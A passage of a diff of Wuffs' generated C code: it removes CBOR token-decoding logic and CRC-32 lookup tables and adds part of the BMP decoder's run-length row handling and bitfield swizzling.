<< WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } else { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -- (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- *iop_a_dst++ = wuffs_base__make_token( -- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- v_tagged = true; -- goto label__outer__continue; -- } else if (v_c_major == 7u) { -- if (v_c_minor < 20u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor < 24u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(WUFFS_CBOR__LITERALS[(v_c_minor & 3u)])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor == 24u) { -- if (v_string_length < 24u) { -- if ( ! (iop_a_src > io1_a_src)) { -- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- iop_a_src--; -- break; -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor < 28u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor == 31u) { -- if (v_tagged || (v_depth <= 0u)) { -- break; -- } -- v_depth -= 1u; -- if (self->private_data.f_container_num_remaining[v_depth] != 0u) { -- break; -- } -- v_stack_byte = (v_depth / 16u); -- v_stack_bit = ((v_depth & 15u) * 2u); -- v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); -- if (v_stack_val == 1u) { -- break; -- } -- if (v_stack_val != 3u) { -- v_vminor_alt = 2097186u; -- } else { -- v_vminor_alt = 2097218u; -- } -- if (v_depth <= 0u) { -- v_vminor_alt |= 4096u; -- } else { -- v_stack_byte = ((v_depth - 1u) / 16u); -- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- v_vminor_alt |= 8192u; -- } else { -- v_vminor_alt |= 16384u; -- } -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } -- } -- } while (0); -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- label__goto_parsed_a_leaf_value__break:; -- v_tagged = false; -- while (v_depth > 0u) { -- v_stack_byte = ((v_depth - 1u) / 16u); -- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -- self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); -- if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { -- goto label__outer__continue; -- } -- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { -- goto label__outer__continue; -- } -- self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; -- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { -- goto label__outer__continue; -- } -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- continue; -- } -- v_depth -= 1u; -- v_stack_byte = (v_depth / 16u); -- v_stack_bit = ((v_depth & 15u) * 2u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- v_vminor_alt = 2097186u; -- } else { -- v_vminor_alt = 2097218u; -- } -- if (v_depth <= 0u) { -- v_vminor_alt |= 4096u; -- } else { -- v_stack_byte = ((v_depth - 1u) / 16u); -- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- v_vminor_alt |= 8192u; -- } else { -- v_vminor_alt |= 16384u; -+ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_code -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif - } - } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_rle_state = 0u; -+ goto label__middle__continue; - } -- break; -+ self->private_impl.f_rle_state = v_rle_state; -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; - } -- self->private_impl.f_end_of_data = true; -- -- ok: -- self->private_impl.p_decode_tokens[0] = 0; -- goto exit; - } -+ label__outer__break:; -+ while (self->private_impl.f_dst_y < self->private_impl.f_height) { -+ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -+ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; - -- goto suspend; -- suspend: -- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -- self->private_data.s_decode_tokens[0].v_string_length = v_string_length; -- self->private_data.s_decode_tokens[0].v_depth = v_depth; -- self->private_data.s_decode_tokens[0].v_tagged = v_tagged; -- self->private_data.s_decode_tokens[0].v_indefinite_string_major_type = v_indefinite_string_major_type; -- -+ ok: - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } - return status; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) -+// -------- func bmp.decoder.swizzle_bitfields - --// ---------------- Status Codes Implementations -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_bitfields( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// ---------------- Private Consts -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_n = 0; -+ uint32_t v_p0 = 0; -+ uint32_t v_p1 = 0; -+ uint32_t v_p1_temp = 0; -+ uint32_t v_num_bits = 0; -+ uint32_t v_c = 0; -+ uint32_t v_c32 = 0; -+ uint32_t v_channel = 0; - --static const uint32_t --WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- { -- 0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 2657392035, -- 249268274, 2044508324, 3772115230, 2547177864, 162941995, 2125561021, 3887607047, 2428444049, -- 498536548, 1789927666, 4089016648, 2227061214, 450548861, 1843258603, 4107580753, 2211677639, -- 325883990, 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 2366115317, -- 997073096, 1281953886, 3579855332, 2724688242, 1006888145, 1258607687, 3524101629, 2768942443, -- 901097722, 1119000684, 3686517206, 2898065728, 853044451, 1172266101, 3705015759, 2882616665, -- 651767980, 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 3099436303, -- 671266974, 1594198024, 3322730930, 2970347812, 795835527, 1483230225, 3244367275, 3060149565, -- 1994146192, 31158534, 2563907772, 4023717930, 1907459465, 112637215, 2680153253, 3904427059, -- 2013776290, 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 3865271297, -- 1802195444, 476864866, 2238001368, 4066508878, 1812370925, 453092731, 2181625025, 4111451223, -- 1706088902, 314042704, 2344532202, 4240017532, 1658658271, 366619977, 2362670323, 4224994405, -- 1303535960, 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 3554079995, -- 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 855842277, 2852801631, 3708648649, -- 1342533948, 654459306, 3188396048, 3373015174, 1466479909, 544179635, 3110523913, 3462522015, -- 1591671054, 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 3233442989, -- 3988292384, 2596254646, 62317068, 1957810842, 3939845945, 2647816111, 81470997, 1943803523, -- 3814918930, 2489596804, 225274430, 2053790376, 3826175755, 2466906013, 167816743, 2097651377, -- 4027552580, 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 1852507879, -- 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 2394877945, 397917763, 1622183637, -- 3604390888, 2714866558, 953729732, 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, -- 3624741850, 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 1181335161, -- 3412177804, 3160834842, 628085408, 1382605366, 3423369109, 3138078467, 570562233, 1426400815, -- 3317316542, 2998733608, 733239954, 1555261956, 3268935591, 3050360625, 752459403, 1541320221, -- 2607071920, 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 83908371, -- 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 3855990285, 2094854071, 198958881, -- 2262029012, 4057260610, 1759359992, 534414190, 2176718541, 4139329115, 1873836001, 414664567, -- 2282248934, 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 376229701, -- 2685067896, 3608007406, 1308918612, 956543938, 2808555105, 3495958263, 1231636301, 1047427035, -- 2932959818, 3654703836, 1088359270, 936918000, 2847714899, 3736837829, 1202900863, 817233897, -- 3183342108, 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 601450431, -- 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 3272380065, 1510334235, 755167117, -- }, { -- 0, 421212481, 842424962, 724390851, 1684849924, 2105013317, 1448781702, 1329698503, -- 3369699848, 3519200073, 4210026634, 3824474571, 2897563404, 3048111693, 2659397006, 2274893007, -- 1254232657, 1406739216, 2029285587, 1643069842, 783210325, 934667796, 479770071, 92505238, -- 2182846553, 2600511768, 2955803355, 2838940570, 3866582365, 4285295644, 3561045983, 3445231262, -- 2508465314, 2359236067, 2813478432, 3198777185, 4058571174, 3908292839, 3286139684, 3670389349, -- 1566420650, 1145479147, 1869335592, 1987116393, 959540142, 539646703, 185010476, 303839341, -- 3745920755, 3327985586, 3983561841, 4100678960, 3140154359, 2721170102, 2300350837, 2416418868, -- 396344571, 243568058, 631889529, 1018359608, 1945336319, 1793607870, 1103436669, 1490954812, -- 4034481925, 3915546180, 3259968903, 3679722694, 2484439553, 2366552896, 2787371139, 3208174018, -- 950060301, 565965900, 177645455, 328046286, 1556873225, 1171730760, 1861902987, 2011255754, -- 3132841300, 2745199637, 2290958294, 2442530455, 3738671184, 3352078609, 3974232786, 4126854035, -- 1919080284, 1803150877, 1079293406, 1498383519, 370020952, 253043481, 607678682, 1025720731, -- 1711106983, 2095471334, 1472923941, 1322268772, 26324643, 411738082, 866634785, 717028704, -- 2904875439, 3024081134, 2668790573, 2248782444, 3376948395, 3495106026, 4219356713, 3798300520, -- 792689142, 908347575, 487136116, 68299317, 1263779058, 1380486579, 2036719216, 1618931505, -- 3890672638, 4278043327, 3587215740, 3435896893, 2206873338, 2593195963, 2981909624, 2829542713, -- 998479947, 580430090, 162921161, 279890824, 1609522511, 1190423566, 1842954189, 1958874764, -- 4082766403, 3930137346, 3245109441, 3631694208, 2536953671, 2385372678, 2768287173, 3155920004, -- 1900120602, 1750776667, 1131931800, 1517083097, 355290910, 204897887, 656092572, 1040194781, -- 3113746450, 2692952403, 2343461520, 2461357009, 3723805974, 3304059991, 4022511508, 4141455061, -- 2919742697, 3072101800, 2620513899, 2234183466, 3396041197, 3547351212, 4166851439, 3779471918, -- 1725839073, 2143618976, 1424512099, 1307796770, 45282277, 464110244, 813994343, 698327078, -- 3838160568, 4259225593, 3606301754, 3488152955, 2158586812, 2578602749, 2996767038, 2877569151, -- 740041904, 889656817, 506086962, 120682355, 1215357364, 1366020341, 2051441462, 1667084919, -- 3422213966, 3538019855, 4190942668, 3772220557, 2945847882, 3062702859, 2644537544, 2226864521, -- 52649286, 439905287, 823476164, 672009861, 1733269570, 2119477507, 1434057408, 1281543041, -- 2167981343, 2552493150, 3004082077, 2853541596, 3847487515, 4233048410, 3613549209, 3464057816, -- 1239502615, 1358593622, 2077699477, 1657543892, 764250643, 882293586, 532408465, 111204816, -- 1585378284, 1197851309, 1816695150, 1968414767, 974272232, 587794345, 136598634, 289367339, -- 2527558116, 2411481253, 2760973158, 3179948583, 4073438432, 3956313505, 3237863010, 3655790371, -- 347922877, 229101820, 646611775, 1066513022, 1892689081, 1774917112, 1122387515, 1543337850, -- 3697634229, 3313392372, 3998419255, 4148705398, 3087642289, 2702352368, 2319436851, 2468674930, -- }, { -- 0, 29518391, 59036782, 38190681, 118073564, 114017003, 76381362, 89069189, -- 236147128, 265370511, 228034006, 206958561, 152762724, 148411219, 178138378, 190596925, -- 472294256, 501532999, 530741022, 509615401, 456068012, 451764635, 413917122, 426358261, -- 305525448, 334993663, 296822438, 275991697, 356276756, 352202787, 381193850, 393929805, -- 944588512, 965684439, 1003065998, 973863097, 1061482044, 1049003019, 1019230802, 1023561829, -- 912136024, 933002607, 903529270, 874031361, 827834244, 815125939, 852716522, 856752605, -- 611050896, 631869351, 669987326, 640506825, 593644876, 580921211, 551983394, 556069653, -- 712553512, 733666847, 704405574, 675154545, 762387700, 749958851, 787859610, 792175277, -- 1889177024, 1901651959, 1931368878, 1927033753, 2006131996, 1985040171, 1947726194, 1976933189, -- 2122964088, 2135668303, 2098006038, 2093965857, 2038461604, 2017599123, 2047123658, 2076625661, -- 1824272048, 1836991623, 1866005214, 1861914857, 1807058540, 1786244187, 1748062722, 1777547317, -- 1655668488, 1668093247, 1630251878, 1625932113, 1705433044, 1684323811, 1713505210, 1742760333, -- 1222101792, 1226154263, 1263738702, 1251046777, 1339974652, 1310460363, 1281013650, 1301863845, -- 1187289752, 1191637167, 1161842422, 1149379777, 1103966788, 1074747507, 1112139306, 1133218845, -- 1425107024, 1429406311, 1467333694, 1454888457, 1408811148, 1379576507, 1350309090, 1371438805, -- 1524775400, 1528845279, 1499917702, 1487177649, 1575719220, 1546255107, 1584350554, 1605185389, -- 3778354048, 3774312887, 3803303918, 3816007129, 3862737756, 3892238699, 3854067506, 3833203973, -- 4012263992, 4007927823, 3970080342, 3982554209, 3895452388, 3924658387, 3953866378, 3932773565, -- 4245928176, 4241609415, 4271336606, 4283762345, 4196012076, 4225268251, 4187931714, 4166823541, -- 4076923208, 4072833919, 4035198246, 4047918865, 4094247316, 4123732899, 4153251322, 4132437965, -- 3648544096, 3636082519, 3673983246, 3678331705, 3732010428, 3753090955, 3723829714, 3694611429, -- 3614117080, 3601426159, 3572488374, 3576541825, 3496125444, 3516976691, 3555094634, 3525581405, -- 3311336976, 3298595879, 3336186494, 3340255305, 3260503756, 3281337595, 3251864226, 3222399125, -- 3410866088, 3398419871, 3368647622, 3372945905, 3427010420, 3448139075, 3485520666, 3456284973, -- 2444203584, 2423127159, 2452308526, 2481530905, 2527477404, 2539934891, 2502093554, 2497740997, -- 2679949304, 2659102159, 2620920726, 2650438049, 2562027300, 2574714131, 2603727690, 2599670141, -- 2374579504, 2353749767, 2383274334, 2412743529, 2323684844, 2336421851, 2298759554, 2294686645, -- 2207933576, 2186809023, 2149495014, 2178734801, 2224278612, 2236720739, 2266437690, 2262135309, -- 2850214048, 2820717207, 2858812622, 2879680249, 2934667388, 2938704459, 2909776914, 2897069605, -- 2817622296, 2788420399, 2759153014, 2780249921, 2700618180, 2704950259, 2742877610, 2730399645, -- 3049550800, 3020298727, 3057690558, 3078802825, 2999835404, 3004150075, 2974355298, 2961925461, -- 3151438440, 3121956959, 3092510214, 3113327665, 3168701108, 3172786307, 3210370778, 3197646061, -- }, { -- 0, 3099354981, 2852767883, 313896942, 2405603159, 937357362, 627793884, 2648127673, -- 3316918511, 2097696650, 1874714724, 3607201537, 1255587768, 4067088605, 3772741427, 1482887254, -- 1343838111, 3903140090, 4195393300, 1118632049, 3749429448, 1741137837, 1970407491, 3452858150, -- 2511175536, 756094997, 1067759611, 2266550430, 449832999, 2725482306, 2965774508, 142231497, -- 2687676222, 412010587, 171665333, 2995192016, 793786473, 2548850444, 2237264098, 1038456711, -- 1703315409, 3711623348, 3482275674, 1999841343, 3940814982, 1381529571, 1089329165, 4166106984, -- 4029413537, 1217896388, 1512189994, 3802027855, 2135519222, 3354724499, 3577784189, 1845280792, -- 899665998, 2367928107, 2677414085, 657096608, 3137160985, 37822588, 284462994, 2823350519, -- 2601801789, 598228824, 824021174, 2309093331, 343330666, 2898962447, 3195996129, 113467524, -- 1587572946, 3860600759, 4104763481, 1276501820, 3519211397, 1769898208, 2076913422, 3279374443, -- 3406630818, 1941006535, 1627703081, 3652755532, 1148164341, 4241751952, 3999682686, 1457141531, -- 247015245, 3053797416, 2763059142, 470583459, 2178658330, 963106687, 735213713, 2473467892, -- 992409347, 2207944806, 2435792776, 697522413, 3024379988, 217581361, 508405983, 2800865210, -- 4271038444, 1177467017, 1419450215, 3962007554, 1911572667, 3377213406, 3690561584, 1665525589, -- 1799331996, 3548628985, 3241568279, 2039091058, 3831314379, 1558270126, 1314193216, 4142438437, -- 2928380019, 372764438, 75645176, 3158189981, 568925988, 2572515393, 2346768303, 861712586, -- 3982079547, 1441124702, 1196457648, 4293663189, 1648042348, 3666298377, 3358779879, 1888390786, -- 686661332, 2421291441, 2196002399, 978858298, 2811169155, 523464422, 226935048, 3040519789, -- 3175145892, 100435649, 390670639, 2952089162, 841119475, 2325614998, 2553003640, 546822429, -- 2029308235, 3225988654, 3539796416, 1782671013, 4153826844, 1328167289, 1570739863, 3844338162, -- 1298864389, 4124540512, 3882013070, 1608431339, 3255406162, 2058742071, 1744848601, 3501990332, -- 2296328682, 811816591, 584513889, 2590678532, 129869501, 3204563416, 2914283062, 352848211, -- 494030490, 2781751807, 3078325777, 264757620, 2450577869, 715964072, 941166918, 2158327331, -- 3636881013, 1618608400, 1926213374, 3396585883, 1470427426, 4011365959, 4255988137, 1158766284, -- 1984818694, 3471935843, 3695453837, 1693991400, 4180638033, 1100160564, 1395044826, 3952793279, -- 3019491049, 189112716, 435162722, 2706139399, 1016811966, 2217162459, 2526189877, 774831696, -- 643086745, 2666061564, 2354934034, 887166583, 2838900430, 294275499, 54519365, 3145957664, -- 3823145334, 1532818963, 1240029693, 4048895640, 1820460577, 3560857924, 3331051178, 2117577167, -- 3598663992, 1858283101, 2088143283, 3301633750, 1495127663, 3785470218, 4078182116, 1269332353, -- 332098007, 2876706482, 3116540252, 25085497, 2628386432, 605395429, 916469259, 2384220526, -- 2254837415, 1054503362, 745528876, 2496903497, 151290352, 2981684885, 2735556987, 464596510, -- 1137851976, 4218313005, 3923506883, 1365741990, 3434129695, 1946996346, 1723425172, 3724871409, -- }, { -- 0, 1029712304, 2059424608, 1201699536, 4118849216, 3370159984, 2403399072, 2988497936, -- 812665793, 219177585, 1253054625, 2010132753, 3320900865, 4170237105, 3207642721, 2186319825, -- 1625331586, 1568718386, 438355170, 658566482, 2506109250, 2818578674, 4020265506, 3535817618, -- 1351670851, 1844508147, 709922595, 389064339, 2769320579, 2557498163, 3754961379, 3803185235, -- 3250663172, 4238411444, 3137436772, 2254525908, 876710340, 153198708, 1317132964, 1944187668, -- 4054934725, 3436268917, 2339452837, 3054575125, 70369797, 961670069, 2129760613, 1133623509, -- 2703341702, 2621542710, 3689016294, 3867263574, 1419845190, 1774270454, 778128678, 318858390, -- 2438067015, 2888948471, 3952189479, 3606153623, 1691440519, 1504803895, 504432359, 594620247, -- 1492342857, 1704161785, 573770537, 525542041, 2910060169, 2417219385, 3618876905, 3939730521, -- 1753420680, 1440954936, 306397416, 790849880, 2634265928, 2690882808, 3888375336, 3668168600, -- 940822475, 91481723, 1121164459, 2142483739, 3448989963, 4042473659, 3075684971, 2318603227, -- 140739594, 889433530, 1923340138, 1338244826, 4259521226, 3229813626, 2267247018, 3124975642, -- 2570221389, 2756861693, 3824297005, 3734113693, 1823658381, 1372780605, 376603373, 722643805, -- 2839690380, 2485261628, 3548540908, 4007806556, 1556257356, 1638052860, 637716780, 459464860, -- 4191346895, 3300051327, 2199040943, 3195181599, 206718479, 825388991, 1989285231, 1274166495, -- 3382881038, 4106388158, 3009607790, 2382549470, 1008864718, 21111934, 1189240494, 2072147742, -- 2984685714, 2357631266, 3408323570, 4131834434, 1147541074, 2030452706, 1051084082, 63335554, -- 2174155603, 3170292451, 4216760371, 3325460867, 1947622803, 1232499747, 248909555, 867575619, -- 3506841360, 3966111392, 2881909872, 2527485376, 612794832, 434546784, 1581699760, 1663499008, -- 3782634705, 3692447073, 2612412337, 2799048193, 351717905, 697754529, 1849071985, 1398190273, -- 1881644950, 1296545318, 182963446, 931652934, 2242328918, 3100053734, 4284967478, 3255255942, -- 1079497815, 2100821479, 983009079, 133672583, 3050795671, 2293717799, 3474399735, 4067887175, -- 281479188, 765927844, 1778867060, 1466397380, 3846680276, 3626469220, 2676489652, 2733102084, -- 548881365, 500656741, 1517752501, 1729575173, 3577210133, 3898068133, 2952246901, 2459410373, -- 3910527195, 3564487019, 2480257979, 2931134987, 479546907, 569730987, 1716854139, 1530213579, -- 3647316762, 3825568426, 2745561210, 2663766474, 753206746, 293940330, 1445287610, 1799716618, -- 2314567513, 3029685993, 4080348217, 3461678473, 2088098201, 1091956777, 112560889, 1003856713, -- 3112514712, 2229607720, 3276105720, 4263857736, 1275433560, 1902492648, 918929720, 195422344, -- 685033439, 364179055, 1377080511, 1869921551, 3713294623, 3761522863, 2811507327, 2599689167, -- 413436958, 633644462, 1650777982, 1594160846, 3978570462, 3494118254, 2548332990, 2860797966, -- 1211387997, 1968470509, 854852413, 261368461, 3182753437, 2161434413, 3346310653, 4195650637, -- 2017729436, 1160000044, 42223868, 1071931724, 2378480988, 2963576044, 4144295484, 3395602316, -- }, { -- 0, 3411858341, 1304994059, 2257875630, 2609988118, 1355649459, 3596215069, 486879416, -- 3964895853, 655315400, 2711298918, 1791488195, 2009251963, 3164476382, 973758832, 4048990933, -- 64357019, 3364540734, 1310630800, 2235723829, 2554806413, 1394316072, 3582976390, 517157411, -- 4018503926, 618222419, 2722963965, 1762783832, 1947517664, 3209171269, 970744811, 4068520014, -- 128714038, 3438335635, 1248109629, 2167961496, 2621261600, 1466012805, 3522553387, 447296910, -- 3959392091, 547575038, 2788632144, 1835791861, 1886307661, 3140622056, 1034314822, 4143626211, -- 75106221, 3475428360, 1236444838, 2196665603, 2682996155, 1421317662, 3525567664, 427767573, -- 3895035328, 594892389, 2782995659, 1857943406, 1941489622, 3101955187, 1047553757, 4113347960, -- 257428076, 3288652233, 1116777319, 2311878850, 2496219258, 1603640287, 3640781169, 308099796, -- 3809183745, 676813732, 2932025610, 1704983215, 2023410199, 3016104370, 894593820, 4262377657, -- 210634999, 3352484690, 1095150076, 2316991065, 2535410401, 1547934020, 3671583722, 294336591, -- 3772615322, 729897279, 2903845777, 1716123700, 2068629644, 2953845545, 914647431, 4258839074, -- 150212442, 3282623743, 1161604689, 2388688372, 2472889676, 1480171241, 3735940167, 368132066, -- 3836185911, 805002898, 2842635324, 1647574937, 2134298401, 3026852996, 855535146, 4188192143, -- 186781121, 3229539940, 1189784778, 2377547631, 2427670487, 1542429810, 3715886812, 371670393, -- 3882979244, 741170185, 2864262823, 1642462466, 2095107514, 3082559007, 824732849, 4201955092, -- 514856152, 3589064573, 1400419795, 2552522358, 2233554638, 1316849003, 3370776517, 62202976, -- 4075001525, 968836368, 3207280574, 1954014235, 1769133219, 2720925446, 616199592, 4024870413, -- 493229635, 3594175974, 1353627464, 2616354029, 2264355925, 1303087088, 3409966430, 6498043, -- 4046820398, 979978123, 3170710821, 2007099008, 1789187640, 2717386141, 661419827, 3962610838, -- 421269998, 3527459403, 1423225061, 2676515648, 2190300152, 1238466653, 3477467891, 68755798, -- 4115633027, 1041448998, 3095868040, 1943789869, 1860096405, 2776760880, 588673182, 3897205563, -- 449450869, 3516317904, 1459794558, 2623431131, 2170245475, 1242006214, 3432247400, 131015629, -- 4137259288, 1036337853, 3142660115, 1879958454, 1829294862, 2790523051, 549483013, 3952910752, -- 300424884, 3669282065, 1545650111, 2541513754, 2323209378, 1092980487, 3350330793, 216870412, -- 4256931033, 921128828, 2960342482, 2066738807, 1714085583, 2910195050, 736264132, 3770592353, -- 306060335, 3647131530, 1610005796, 2494197377, 2309971513, 1123257756, 3295149874, 255536279, -- 4268596802, 892423655, 3013951305, 2029645036, 1711070292, 2929725425, 674528607, 3815288570, -- 373562242, 3709388839, 1535949449, 2429577516, 2379569556, 1183418929, 3223189663, 188820282, -- 4195850735, 827017802, 3084859620, 2089020225, 1636228089, 2866415708, 743340786, 3876759895, -- 361896217, 3738094268, 1482340370, 2466671543, 2382584591, 1163888810, 3284924932, 144124321, -- 4190215028, 849168593, 3020503679, 2136336858, 1649465698, 2836138695, 798521449, 3838094284, -- }, { -- 0, 2792819636, 2543784233, 837294749, 4098827283, 1379413927, 1674589498, 3316072078, -- 871321191, 2509784531, 2758827854, 34034938, 3349178996, 1641505216, 1346337629, 4131942633, -- 1742642382, 3249117050, 4030828007, 1446413907, 2475800797, 904311657, 68069876, 2725880384, -- 1412551337, 4064729373, 3283010432, 1708771380, 2692675258, 101317902, 937551763, 2442587175, -- 3485284764, 1774858792, 1478633653, 4266992385, 1005723023, 2642744891, 2892827814, 169477906, -- 4233263099, 1512406095, 1808623314, 3451546982, 136139752, 2926205020, 2676114113, 972376437, -- 2825102674, 236236518, 1073525883, 2576072655, 1546420545, 4200303349, 3417542760, 1841601500, -- 2609703733, 1039917185, 202635804, 2858742184, 1875103526, 3384067218, 4166835727, 1579931067, -- 1141601657, 3799809741, 3549717584, 1977839588, 2957267306, 372464350, 668680259, 2175552503, -- 2011446046, 3516084394, 3766168119, 1175200131, 2209029901, 635180217, 338955812, 2990736784, -- 601221559, 2242044419, 3024812190, 306049834, 3617246628, 1911408144, 1074125965, 3866285881, -- 272279504, 3058543716, 2275784441, 567459149, 3832906691, 1107462263, 1944752874, 3583875422, -- 2343980261, 767641425, 472473036, 3126744696, 2147051766, 3649987394, 3899029983, 1309766251, -- 3092841090, 506333494, 801510315, 2310084639, 1276520081, 3932237093, 3683203000, 2113813516, -- 3966292011, 1243601823, 2079834370, 3716205238, 405271608, 3192979340, 2411259153, 701492901, -- 3750207052, 2045810168, 1209569125, 